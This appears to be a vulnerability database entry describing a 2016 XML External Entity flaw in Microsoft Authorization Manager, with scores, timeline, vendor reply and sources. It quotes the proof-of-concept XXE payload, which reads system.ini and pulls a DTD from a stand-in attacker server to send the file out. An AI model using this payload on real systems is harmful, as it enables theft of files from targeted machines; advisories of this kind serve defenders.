CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
---|---|---|
4.8 | $0-$5k | 0.00 |
A vulnerability, which was classified as problematic, was found in Microsoft Windows (Operating System) (affected version not known). This affects some unknown functionality in the library msxml3.dll of the component Authorization Manager. The manipulation with an unknown input leads to a information disclosure vulnerability (File). CWE is classifying the issue as CWE-200. The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. This is going to have an impact on confidentiality.
The weakness was presented 12/04/2016 by John Page (hyp3rlinx) as Microsoft Authorization Manager "azman" XML External Entity as not defined mailinglist post (Full-Disclosure). It is possible to read the advisory at seclists.org. The public release was coordinated in cooperation with Microsoft. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. Technical details and a public exploit are known. The attack technique deployed by this issue is T1592 according to MITRE ATT&CK.
A public exploit has been developed by John Page (hyp3rlinx) and been published immediately after the advisory. The exploit is shared for download at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 96 days. During that time the estimated underground price was around $25k-$100k. The code used by the exploit is:
<?xml version="1.0"?> <!DOCTYPE roottag [ <!ENTITY % file SYSTEM "C:\Windows\system.ini"> <!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd";> %dtd;]> <pwn>&send;</pwn>
The mailinglist post contains the following remark:
Vendor Reply: August 30, 2016 does not meet the bar for servicing as someone would have to obtain the XML from an untrusted source or compromised source"
See 93964 and 93962 for similar entries.
Product
Type
Vendor
Name
License
CPE 2.3
CPE 2.2
CVSSv4
VulDB CVSS-B Score: 🔍VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 5.3VulDB Meta Temp Score: 4.8
VulDB Base Score: 5.3
VulDB Temp Score: 4.8
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv2
AV | AC | Au | C | I | A |
---|---|---|---|---|---|
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
---|---|---|---|---|---|
unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
Exploiting
Name: FileClass: Information disclosure / File
CWE: CWE-200 / CWE-284 / CWE-266
ATT&CK: T1592
Local: No
Remote: Yes
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: John Page (hyp3rlinx)
Download: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
0-Day | unlock | unlock | unlock | unlock |
---|---|---|---|---|
Today | unlock | unlock | unlock | unlock |
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: no mitigation knownStatus: 🔍
0-Day Time: 🔍
Exploit Delay Time: 🔍
Timeline
08/30/2016 🔍08/30/2016 🔍
12/04/2016 🔍
12/04/2016 🔍
12/05/2016 🔍
07/24/2019 🔍
Sources
Vendor: microsoft.comProduct: microsoft.com
Advisory: Microsoft Authorization Manager "azman" XML External Entity
Researcher: John Page (hyp3rlinx)
Status: Not defined
Coordinated: 🔍
scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍
Entry
Created: 12/05/2016 21:47Updated: 07/24/2019 17:00
Changes: 12/05/2016 21:47 (55), 07/24/2019 17:00 (2)
Complete: 🔍
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